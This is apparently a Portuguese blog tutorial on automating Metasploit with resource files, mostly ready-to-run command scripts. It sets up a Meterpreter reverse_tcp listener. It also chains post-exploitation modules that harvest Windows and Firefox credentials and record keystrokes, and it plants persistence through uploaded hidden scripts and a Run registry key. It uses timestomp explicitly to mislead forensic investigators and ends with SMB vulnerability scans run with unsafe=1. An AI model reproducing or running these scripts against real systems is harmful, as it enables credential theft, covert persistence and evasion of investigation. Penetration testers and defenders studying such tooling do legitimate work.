segunda-feira, 23 de fevereiro de 2015

Metasploit automatização resource files

Trabalhando com resource files

O console (msfconsole ou msf pro) suporta automação básica usando scripts de recursos. Esses scripts contêm um conjunto de comandos do console que são executadas quando as cargas de script. Além dos comandos básicos do console (core), esses scripts também são tratados como modelos ERB. ERB é uma maneira de incorporar o código Ruby diretamente em um documento. Isso permite que você chamar APIs que não são expostos através de comandos de console e até programaticamente gerar e retornar uma lista de comandos com base em sua própria lógica. Scripts de recursos podem ser especificados com a opção -r para o Console Metasploit e é executado automaticamente na inicialização se ele existir. Scripts de recursos também pode ser executado a partir do prompt do console por meio do comando de recursos (msf  > resource file-to-run.rc)


O console (msfconsole ou msf pro) suporta automação básica usando scripts de recursos. Esses scripts contêm um conjunto de comandos do console que são executadas quando as cargas de script. Além dos comandos básicos do console (core), esses scripts também são tratados como modelos ERB. ERB é uma maneira de incorporar o código Ruby diretamente em um documento. Isso permite que você chamar APIs que não são expostos através de comandos de console e até programaticamente gerar e retornar uma lista de comandos com base em sua própria lógica. Scripts de recursos podem ser especificados com a opção -r para o Console Metasploit e é executado automaticamente na inicialização se ele existir. Scripts de recursos também pode ser executado a partir do prompt do console por meio do comando de recursos (msf  > resource file-to-run.rc)



O seguinte exemplo cria um arquivo de recurso para exibir o número da versão do metasploit.
----------------------------------------------------------------------------------------------------------------------------------------------------------
touch version.rc
echo 'version' >> version.rc
----------------------------------------------------------------------------------------------------------------------------------------------------------
run  :  msfconsole -r version.rc
or    :  msfconsole -r /root/version.rc
or    :  msf > resource /root/version.rc



este arquivo de recurso irá carregar um directorio externo (ao msf) para que você possa apontar Metasploit aos seus 0-day, exploits, codificadores, cargas úteis (payloads), se estão a desenvolver exploits, auxiliarys, pós-módulos em ruby, então esta é a opção perfeita para que você possa carregar o seu directorio de trabalho no banco de dados do metasploit.
----------------------------------------------------------------------------------------------------------------------------------------------------------
touch startconf.rc
echo 'loadpath /home/secret/0day' >> startconf.rc
----------------------------------------------------------------------------------------------------------------------------------------------------------
run   :  msfconsole -r startconf.rc
or     :  msfconsole -r /root/startconf.rc
or     :  msf > resource /root/startconf.rc



Vamos criar um arquivo de recurso para iniciar um multi-manipulador (multi-handler) para nós. 
este 'listenner' vai receber a nossa carga útil (payload) reverse_tcp meterpreter.
----------------------------------------------------------------------------------------------------------------------------------------------------------
touch shell_listenner.rc
echo 'use exploit/multi/handler' >> shell_listenner.rc
echo 'set PAYLOAD windows/meterpreter/reverse_tcp' >> shell_listenner.rc
echo 'set LPORT 666' >> shell_listenner.rc
echo 'set LHOST 192.168.1.68' >> shell_listenner.rc
echo 'set ExitOnSession false' >> shell_listenner.rc
echo 'exploit -j -z' >> shell_listenner.rc
----------------------------------------------------------------------------------------------------------------------------------------------------------
run   :  msfconsole -r shell_listenner.rc
or     :  msfconsole -r /root/shell_listenner.rc
or     :  msf > resouce shell_listenner.rc



Scripts de auto-run são exelentes quando você precisa que varios módulos executem automaticamente
----------------------------------------------------------------------------------------------------------------------------------------------------------
touch autoruncommands.rc
echo 'run post/windows/manage/migrate' >> autoruncommands.rc
echo 'run post/windows/gather/checkvm' >> autoruncommands.rc
echo 'run post/windows/gather/credential_collector' >> autoruncommands.rc
echo 'run post/multi/gather/firefox_creds' >> autoruncommands.rc
echo 'run post/windows/capture/keylog_recorder' >> autoruncommands.rc
----------------------------------------------------------------------------------------------------------------------------------------------------------
run   :  msf > run multi_console_command -rc /root/autoruncommands.rc
ou executá-la no multi-manipulador (multi-handler) usando a flag AutoRunScript
run   : msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.68 LPORT=666 AutoRunScript='multi_console_command -rc /root/autoruncommands.rc' E
desta forma só precisamos de configurar o 'autorunscript' para apontar para o nosso arquivo de recursos, de modo que toda a vez que o manipulador (multi-handler) abre uma sessão irá executar todos os modulos escritos dentro do arquivo 'autoruncommands.rc'



O exemplo a seguir mostra como podemos persistir uma carga útil (payload) em post-exploração
----------------------------------------------------------------------------------------------------------------------------------------------------------
touch Post-Auto.rc
echo 'sysinfo' >> Post-Auto.rc
echo 'run migrate -n wininit.exe' >> Post-Auto.rc
echo 'upload /var/www/powershell.bat C:\\windows\\system32\\powershell.bat' >> Post-Auto.rc
echo 'upload /var/www/hidden.vbs C:\\windows\\system32\\hidden.vbs' >> Post-Auto.rc
echo 'reg setval -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run -v persistence -d "C:\windows\system32\hidden.vbs"' >> Post-Auto.rc
echo 'reg enumkey -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' >> Post-Auto.rc
----------------------------------------------------------------------------------------------------------------------------------------------------------
run   :  msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.68 LPORT=666 AutoRunScript='multi_console_command -rc /root/Post-Auto.rc' E



Neste proximo exemplo vamos usar o nmap para escanear a nossa rede local em busca de hospedeiros vivos e exportar o relatorio em (.xml) formato, depois vamos construir um arquivo de recurso (msfdb.rc) para podermos exportar o arquivo xml para a base de dados do metasploit, para os hospedeiros encontrados poderem ser usados no metasploit.
escannear usando o nmap:
nmap -sV -Pn -p 1-1000 -O --open -oX /root/Random-Hosts.xml 192.168.1.0/24
contruindo resource file:
----------------------------------------------------------------------------------------------------------------------------------------------------------
touch msfdb.rc
echo 'db_import /root/Random-Hosts.xml' >> /root/msfdb.rc
echo 'hosts' >> /root/msfdb.rc
echo 'sevices' >> /root/msfdb.rc
----------------------------------------------------------------------------------------------------------------------------------------------------------
correr metasploit:
service metasploit start
msfconsole -r /root/msfdb.rc
limpar database:
msf > hosts -d
msf > services -d



As vezes no post-exploração precissamos de encobrir os nossos passos no systema alvo para enganar peritos forensicos, uma maneira de fazer isso é manipular o timestomp (mace) de um arquivo ou de um directorio (recursive) no exemplo a seguir vamos fazer o upload de um arquivo para o hospedeiro de destino e mudar o seu valor mace para outra data/hora para que o arquivo pareça ter sido criado/acessado no ano 2013, a flag (-r) permite-nos mudar o mace de todos os arquivos dentro de um directorio.
----------------------------------------------------------------------------------------------------------------------------------------------------------
touch mace.rc
echo 'run migrate -n wininit.exe' >> mace.rc
echo 'upload /var/www/powershell.ps1 %temp\\powershell.ps1%' >> mace.rc
echo 'timestomp -r %temp% "21/01/2013 23:26:35"' >> mace.rc
----------------------------------------------------------------------------------------------------------------------------------------------------------
run   : meterpreter > resource /root/mace.rc



O arquivo de recurso seguinte (scanner.rc) requer que o usuário defina RHOSTS globalmente usando: setg RHOSTS 192.168.1.68 (ip alvo) antes de lançar o resource file, e ele se usa do commando 'db_nmap' para salvar o scan feito na base de dados do metasploit. na tag <ruby> usamos o nmap para escannear por vulnerabilidades no protocol smb e samba que serão guardados em 'services' e 'vulns', depois da tag </ruby> o resource file vai se usar dos resultados contidos na DB para correr modulos de post-exploração.
----------------------------------------------------------------------------------------------------------------------------------------------------------
<ruby>
run_single("db_nmap -sU -sS -Pn -n --script=smb-check-vulns.nse,samba-vuln-cve-2012-1182 --script-args=unsafe=1 -p U:135,T:139,445 #{framework.datastore['RHOSTS']}")
run_single("services #{framework.datastore['RHOSTS']}")
run_single("vulns #{framework.datastore['RHOSTS']}")
</ruby>
use auxiliary/scanner/snmp/snmp_enum
run
use auxiliary/scanner/snmp/snmp_enumusers
run
use auxiliary/scanner/snmp/snmp_enumshares
run
----------------------------------------------------------------------------------------------------------------------------------------------------------
antes do resource file ser lançado:  msf > setg RHOSTS <target ip>
run  resource file:  msf > resource scanner.rc
unset global var: msf > unsetg RHOSTS
clean msf database: msf > hosts -d






2 comentários:

............